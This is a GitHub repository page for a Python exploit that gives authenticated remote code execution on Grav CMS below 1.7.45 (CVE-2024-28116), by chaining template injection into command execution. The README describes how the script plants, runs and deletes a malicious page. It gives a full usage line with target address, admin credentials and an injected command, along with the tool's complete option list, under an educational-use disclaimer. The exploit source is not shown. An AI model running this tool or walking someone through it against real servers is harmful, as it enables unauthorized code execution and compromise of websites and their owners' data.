Skip to content

Exploit against Grav CMS (versions below 1.7.45) that allows Remote Code Execution for an authenticated user - CVE-2024-28116

License

Notifications You must be signed in to change notification settings

gunzf0x/Grav-CMS-RCE-Authenticated

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

Grav CMS Remote Code Execution (Authenticated) - CVE-2024-28116

Info

This code is an adaptation from Graver Github repository with some improvements based on this video.

Exploit against Grav CMS (for versions below 1.7.45) based on SSTI + RCE vulnerabilities, labeled as CVE-2024-28116. This script basically creates a page with the vulnerability, executes it and, finally, deletes the page after the execution.

Usage

python3 Grav_CMS_RCE.py -t http://10.10.10.10 -u 'admin' -p 'S3cureP4ssw0rd' -x 'ping -c 1 10.10.10.9'

Help message:

$ python3 Grav_CMS_RCE.py -h

usage: Grav_CMS_RCE.py [-h] -t TARGET [-P PORT] -u USERNAME -p PASSWORD -x COMMAND [--no-delete-file] [--panel-route PANEL_ROUTE] [--no-banner] [--show-warnings]

Grav CMS RCE (Authenticated).

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        URL where Grav CMS is running. Example: http://10.10.10.10
  -P PORT, --port PORT  Port running Grav CMS. Default: 80
  -u USERNAME, --username USERNAME
                        Username to authenticate in Grav CMS
  -p PASSWORD, --password PASSWORD
                        Password for the user in Grav CMS.
  -x COMMAND, --command COMMAND
                        Command to inject/run.
  --no-delete-file      Do NOT delete the generated files. Useful to check command execution output.
  --panel-route PANEL_ROUTE
                        Admin Panel route in Grav CMS. Default: /admin
  --show-warnings       Show warnings (if there are).

If for some reason we do not want to delete the generated files, we can use --no-delete-file flag, visit the page the script indicates and read the command output.

More info

More CVE-2024-28116/about this exploit info:

Disclaimer

The owner of this repository is not responsible for the usage of this software. It was made for educational purposes only.

Licence

  • MIT

About

Exploit against Grav CMS (versions below 1.7.45) that allows Remote Code Execution for an authenticated user - CVE-2024-28116

Topics

Resources

License

Stars

Watchers

Forks

Languages